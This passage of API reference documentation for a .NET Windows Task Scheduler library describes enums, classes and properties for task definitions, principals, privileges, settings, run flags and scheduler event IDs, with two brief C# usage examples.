other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see +
Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler 